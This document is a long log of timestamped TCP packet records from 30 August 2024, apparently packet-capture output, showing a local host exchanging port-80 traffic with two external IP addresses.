Aug 30, 2024 03:17:08.547394037 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.547413111 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.547441006 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.547842979 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.547848940 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.547853947 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.547902107 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.547940969 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.547945976 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.547956944 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.547961950 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.548003912 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.548003912 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.548011065 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.548016071 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.548026085 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.548032045 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.548069000 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.548069000 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.548168898 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.548175097 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.548185110 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.548209906 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.548255920 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.548362017 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.548415899 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.548422098 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.548454046 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.548454046 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.548520088 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.548526049 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.548542023 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.548552990 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.548558950 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.548563004 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.548571110 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.548583031 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.548609972 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.548686028 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.548691988 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.548729897 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.548734903 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.548739910 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.548751116 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.548755884 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.548770905 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.548796892 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.550393105 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.550398111 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.550404072 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.550451994 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.550484896 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.550489902 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.550503969 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.550519943 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.550527096 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.550529957 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.550533056 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.550546885 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.550548077 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.550565958 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.550568104 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.550574064 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.550580025 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.550595045 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.550618887 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.550637007 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.550642014 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.550674915 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.550719976 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.550724983 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.550760984 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.551006079 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.551012039 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.551022053 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.551048994 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.551054001 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.551060915 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.551083088 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.551089048 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.551100016 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.551120043 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.551155090 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.551161051 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.551172018 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.551176071 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.551199913 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.551213026 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.551238060 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.551244020 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.551271915 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.551278114 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.551285028 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.551295042 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.551322937 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.551326036 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.551337004 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.551341057 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.551347971 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.551352978 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.551357985 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.551383018 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.551383018 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.551393032 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.551764965 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.551908970 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.551927090 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.551949024 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.551976919 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.551983118 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.552066088 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.552069902 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.552109003 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.552238941 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.552403927 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.552407980 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.552417994 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.552448988 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.552455902 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.552462101 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.552501917 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.553093910 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.553098917 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.553117037 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.553128004 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.553144932 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.553144932 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.553158045 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.553165913 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.553168058 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.553181887 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.553186893 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.553188086 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.553194046 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.553199053 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.553203106 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.553205967 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.553225994 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.553229094 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.553232908 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.553255081 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.553266048 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.553616047 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.553706884 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.554658890 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.554754972 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.554755926 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.554761887 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.554771900 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.554775953 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.554781914 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.554786921 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.554797888 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.554811001 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.554843903 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.560707092 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.560724974 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.560734987 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.560780048 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.560794115 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.560800076 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.560851097 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.560863018 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.560890913 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.560899973 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.560941935 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.561064005 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.561069012 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.561079979 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.561108112 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.561131001 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.561165094 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.561172009 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.561182976 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.561187983 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.561192036 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.561213017 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.561240911 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.563081980 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.563148022 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.563182116 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.563188076 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.563232899 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.563239098 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.563246012 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.563256979 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.563261986 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.563287020 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.563298941 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.563411951 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.563417912 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.563429117 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.563435078 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.563461065 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.563483953 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.563519001 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.563524961 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.563534975 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.563543081 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.563560963 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.563568115 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.563575029 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.563580990 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.563585043 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.563586950 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.563592911 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.563604116 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.563612938 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.563616991 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.563641071 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.563649893 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.581844091 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.581940889 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.581944942 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.581955910 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.581960917 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.581969976 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.581976891 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.581990004 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.581996918 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.582015991 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.582040071 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.582077980 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.582169056 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.582217932 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.582223892 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.582235098 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.582240105 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.582268000 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.582287073 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.582340002 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.582401037 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.582411051 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.582421064 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.582453012 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.632611990 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.632644892 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.632651091 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.632720947 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.632723093 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.632729053 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.632742882 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.632747889 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.632754087 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.632787943 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.632787943 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.632821083 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.632826090 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.632836103 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.632865906 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.632910967 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.632915020 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.632919073 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.632958889 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.632999897 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.633055925 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.633059025 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.633074999 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.633080959 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.633101940 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.633133888 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.635149956 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.635215998 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.635221958 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.635226011 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.635256052 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.635265112 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.635271072 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.635282040 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.635287046 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.635322094 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.635322094 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.635411978 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.635416985 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.635421991 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.635426044 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.635432005 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.635473967 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.635483980 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.636185884 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.636192083 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.636197090 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.636200905 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.636205912 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.636210918 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.636217117 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.636223078 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.636228085 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.636233091 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.636234045 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.636261940 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.636282921 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.636539936 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.636545897 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.636558056 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.636568069 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.636574030 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.636579037 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.636584997 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.636590004 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.636595964 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.636600018 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.636636019 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.636636019 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.636636972 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.636641979 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.636652946 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.636679888 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.636818886 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.636825085 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.636835098 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.636840105 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.636848927 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.636854887 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.636859894 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.636866093 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.636869907 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.636890888 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.636900902 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.636900902 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.636907101 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.636913061 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.636918068 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.636924982 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.636924982 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.636929035 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.636933088 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.636938095 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.636944056 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.636953115 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.636956930 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.636977911 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.636981964 CEST	80	49734	147.45.44.104	192.168.2.4
